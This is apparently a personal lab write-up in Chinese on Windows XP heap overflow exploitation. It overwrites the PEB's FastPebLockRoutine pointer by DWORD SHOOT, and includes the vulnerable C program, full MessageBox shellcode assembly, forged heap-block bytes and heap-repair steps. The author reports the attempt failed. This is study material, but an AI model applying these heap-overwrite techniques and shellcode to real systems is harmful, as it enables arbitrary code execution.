堆溢位 程式碼植入 狙擊RtlEnterCriticalSection()函數指標

2020-09-22 11:00:56

程式碼

#include <windows.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90……";
int main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3 //used to break process
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
} 

PEB中偏移為0x20,0x24的地方分別放著指向FastPebLockRoutine,和FastPebUnlockRoutine這兩個函數的指標,這兩個函數分別對應著函數的加鎖與解鎖,為多執行緒時,對該執行緒資料的保護操作,加上FastPebLockRoutine鎖了之後,該段資料在同一時間只允許一個執行緒對其操作,如果要讓另一執行緒使用該段資料必須使用FastPebUnlockRoutine解鎖。
所以這次打算通過程式堆的異常使程式呼叫Exitprocess,呼叫Exitprocess時也會呼叫這兩個函數,因此我們可以通過修改這兩個函數的指標來起到劫持的作用。
h1向堆中申請了 200 位元組的空間。memcpy 的上限錯誤地寫成了 0x200,這實際上是 512 位元組,所以會產生溢位。用偽造的指標覆蓋尾塊塊首中的空表指標,當 h2 分配時,將導致 DWORD SHOOT。0x7FFDF020 處的 RtlEnterCriticalSection()函數指標,直接修改為 shellcode 的位置。DWORD SHOOT 完畢後,堆溢位導致異常,最終將呼叫 ExitProcess()結束程序。ExitProcess()在結束程序時需要呼叫臨界區函數來同步執行緒,但卻從 P.E.B 中拿出了指向 shellcode 的指標,因此 shellcode 被執行。

+0x020 FastPebLockRoutine : //PEB加鎖
+0x024 FastPebUnlockRoutine : //解鎖

實驗目的

簡單實現狙擊RtlEnterCriticalSection()函數指標

實驗準備

環境:windows xp
編譯器:vc++
偵錯程式:OD

實驗過程

1.先寫一個shellcode,大體上與之前的彈出視窗shellcode思路相仿,然後把200位元組空間填滿後,再溢位,把下一個尾塊的空表指標給替換了,前向指標改成shellcode的起始地址,後向指標改成FastPebLockRoutine。這樣相當於程式呼叫這個函數的時候就呼叫的是你的shellcode。
在這裡插入圖片描述

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop            //填充
cld            //使DF標誌位復位  
push 0x1E380A6A    
push 0x4FD18963
push 0x0C917432   //儲存MassageBox,ExitProcess,LoadLibrary的hash值
mov esi,esp   //堆疊指標放入esi暫存器
lea edi,dword ptr ds:[esi-0xC] 

xor ebx,ebx
mov bh,0x4
sub esp,ebx

mov bx,0x3233
push ebx
push 0x72657375
push esp
xor edx,edx//user32

mov ebx,dword ptr fs:[edx+0x30]
mov ecx,dword ptr ds:[ebx+0xC]
mov ecx,dword ptr ds:[ecx+0x1C]
mov ecx,dword ptr ds:[ecx]
mov ebp,dword ptr ds:[ecx+0x8]//kernel32地址

lods dword ptr ds:[esi]
cmp eax,0x1E380A6A//比較MassageBox的hash值
jnz short 003A06E4
xchg eax,ebp
call dword ptr ds:[edi-0x8]//LoadLibrary(user32)
xchg eax,ebp

pushad
mov eax,dword ptr ss:[ebp+0x3C]//e_lfanew
mov ecx,dword ptr ss:[ebp+eax+0x78]
add ecx,ebp
mov ebx,dword ptr ds:[ecx+0x20]
add ebx,ebp//找到位於裡面的匯出函數名稱表
xor edi,edi

inc edi
mov esi,dword ptr ds:[ebx+edi*4]
add esi,ebp//遍歷名稱
cdq

movsx eax,byte ptr ds:[esi]
cmp al,ah
je short 003A070B
ror edx,0x7
add edx,eax
inc esi
jmp short 003A06FC//hash演演算法

cmp edx,dword ptr ss:[esp+0x1C]
jnz short 003A06F5
mov ebx,dword ptr ds:[ecx+0x24]
add ebx,ebp
mov di,word ptr ds:[ebx+edi*2]
mov ebx,dword ptr ds:[ecx+0x1C]
add ebx,ebp
add ebp,dword ptr ds:[ebx+edi*4]
xchg eax,ebp
pop edi
stos dword ptr es:[edi]
push edi
popad
cmp eax,0x1E380A6A
jnz short 003A06D7//找到函數地址

xor ebx,ebx
push ebx
push 0x74736577
push 0x6C696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call dword ptr ds:[edi-0x4]
push ebx
call dword ptr ds:[edi-0x8]//彈出視窗並退出
nop
nop
nop
nop
nop
nop
nop
nop
\x16\x01\x1A\x00\x00\x10\x00\x00// head of the free block
\x88\x06\x3a\x00//指向shellcode的開頭
\x20\xf0\xfd\x7f//指向FastPebLockRoutine

2.但是直接把FastPebLockRoutine地址改了的話,shellcode中呼叫這個函數的函數就都沒辦法用了,所以修改一下shellcode前面。呼叫完函數進入shellcode之後再把FastPebLockRoutine還原。
(最後還是沒有實驗成功,應該是系統機制的問題,我改了FastPebLockRoutine的指標還是沒彈出視窗,標準實驗實在windows 2k下進行的,我是在xp下。改天下個2k的虛擬機器器重新整次,感覺好像是windows xp下FastPebLockRoutine指標的位置發生變化了)

MOV EAX,7FFDF020 
MOV EBX,[7FFDF020]
MOV [EAX],EBX 

總結

雖然這次沒有成功。。函數的地方最後還是沒找到。但是還是瞭解了下堆溢位的應用。
還是根據書上的簡單做做總結吧。
首先堆偵錯要分偵錯態和常態,要用int 3去觸發異常,然後再attach程序,不能直接拖進od,或者可以修改檢測偵錯程式的函數的檢測值。比如修改IsDebugPresent的返回值。
還要注意修護環境,比如這次對FastPebLockRoutine指標的修改就必須要調回去,不然就會影響接下來的函數,同樣shellcode開始時也要注意環境的初始化,不然一些符號標誌位上可能會影響跳轉。
在堆溢位中,有時還需要修復被我們折騰得亂七八糟的堆區。通常,比較簡單修復堆區的
做法包括如下步驟。
(1)在堆區偏移 0x28 的地方存放著堆區所有空閒塊的總和 TotalFreeSize。
(2)把一個較大塊(或乾脆直接找個暫時不用的區域偽造一個塊首)塊首中標識自身大小的兩個位元組(self size)修改成堆區空閒塊總容量的大小(TotalFreeSize)。
(3)把該塊的 flag 位設定為 0x10(last entry 尾塊)。
(4)把 freelist[0]的前向指標和後向指標都指向這個堆塊。
這樣可以使整個堆區「看起來好像是」剛初始化完」只有一個大塊的樣子,不但可以繼續完成分配工作,還保護了堆中已有的資料。(這方法太強了,相當於直接新開了一塊堆區)
還有可能shellcode面對地址隨機化的問題,要像棧溢位運用jmp esp定位一樣,在程式中尋找跳板,因為堆溢位一般是把shellcode「繫結」到一個函數上的,因此可以用以下指令來起到跳板的作用。

CALL DWORD PTR [EDI + 0x78]
CALL DWORD PTR [ESI+0x4C]
CALL DWORD PTR [EBP+0x74] 

(吾愛破解的OD不知道為什麼int 3中斷之後nop還是不能F7,F8。沒辦法觀察堆。得要用原版的OD異常彈出之後才能仔細觀察。下次整個原版OD慢慢再調次)